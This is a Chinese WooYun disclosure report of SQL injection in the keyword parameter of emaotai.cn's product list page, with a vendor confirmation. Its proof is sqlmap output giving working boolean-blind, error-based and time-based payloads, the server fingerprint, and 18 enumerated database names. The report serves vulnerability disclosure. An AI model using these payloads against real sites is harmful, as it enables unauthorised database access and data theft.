当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0154326

漏洞标题:茅台电商主站sql注入漏洞

相关厂商:emaotai.cn

漏洞作者: 路人甲

提交时间:2015-11-20 15:20

修复时间:2016-01-11 15:34

公开时间:2016-01-11 15:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-20: 细节已通知厂商并且等待厂商处理中
2015-11-20: 厂商已经确认,细节仅向厂商公开
2015-11-30: 细节向核心白帽子及相关领域专家公开
2015-12-10: 细节向普通白帽子公开
2015-12-20: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

rt

详细说明:

http://www.emaotai.cn/vshop/productlist.aspx?categoryid=1&keyword=1
keyword

漏洞证明:

[17:04:12] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:04:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: keyword (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: categoryid=1&keyword=1' AND 1220=1220 AND 'LpFt' LIKE 'LpFt
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: categoryid=1&keyword=1' AND 4769=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(112)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (4769=4769) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(112)+CHAR(113))) AND 'VsAZ' LIKE 'VsAZ
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: categoryid=1&keyword=1' AND 4337=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'YGds' LIKE 'YGds
---
[17:04:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[17:04:12] [INFO] fetching database names
[17:04:12] [INFO] the SQL query used returns 18 entries
[17:04:12] [INFO] retrieved: distribution
[17:04:13] [INFO] retrieved: DrpEco
[17:04:13] [INFO] retrieved: drpecosdl
[17:04:13] [INFO] retrieved: DrpEcoTest
[17:04:13] [INFO] retrieved: eAct
[17:04:14] [INFO] retrieved: eActTest
[17:04:14] [INFO] retrieved: emaotai_act
[17:04:14] [INFO] retrieved: emaotai_act_test
[17:04:14] [INFO] retrieved: emaotai_logs
[17:04:15] [INFO] retrieved: hishop
[17:04:15] [INFO] retrieved: master
[17:04:15] [INFO] retrieved: model
[17:04:15] [INFO] retrieved: moutai
[17:04:16] [INFO] retrieved: moutaitest
[17:04:16] [INFO] retrieved: msdb
[17:04:16] [INFO] retrieved: ReportServer
[17:04:16] [INFO] retrieved: ReportServerTempDB
[17:04:16] [INFO] retrieved: tempdb
available databases [18]:
[*] distribution
[*] DrpEco
[*] drpecosdl
[*] DrpEcoTest
[*] eAct
[*] eActTest
[*] emaotai_act
[*] emaotai_act_test
[*] emaotai_logs
[*] hishop
[*] master
[*] model
[*] moutai
[*] moutaitest
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-20 16:08

厂商回复:

感谢你的反馈,我们将尽快修复。

最新状态:

暂无